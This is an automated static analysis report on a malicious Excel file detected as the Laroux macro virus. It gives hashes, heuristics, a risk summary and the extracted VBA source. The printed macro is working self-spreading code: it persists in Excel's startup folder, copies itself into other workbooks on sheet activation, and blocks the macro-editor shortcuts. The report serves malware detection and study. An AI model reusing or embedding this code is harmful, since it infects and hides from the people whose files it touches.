Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fecc2d5ecbcb8e13…

MALICIOUS

Office (OLE)

30.0 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-09-24
MD5: 5edf963c7e970380c58f831a8d2a6d82 SHA-1: fa3ec15546bd644c6e3f9ab5c900b773929aec5f SHA-256: fecc2d5ecbcb8e13d1ca8b96a0b8d38337e11019dea9338961af58df5f5583f8
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

This Excel document contains VBA macros, specifically an Auto_Open macro, which is a common technique for initial execution. The macro attempts to copy itself to the Excel startup path as 'StartUp.xls' to achieve persistence. It also sets up event handlers for sheet activation and keyboard shortcuts, likely to maintain control or evade detection. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 917 bytes
SHA-256: ef12d7355755f09cb7ed5d43609aa9c78ce2121e9043188a92ffb406905a8ca9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    End If
    End Sub

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